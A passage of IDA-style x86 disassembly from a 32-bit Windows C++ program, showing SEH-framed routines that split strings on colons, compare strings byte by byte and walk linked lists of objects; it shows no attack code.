XREF: sub_413C40+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C74 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C74 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F40 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F40 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C74 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C74 ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C74 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F40 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop 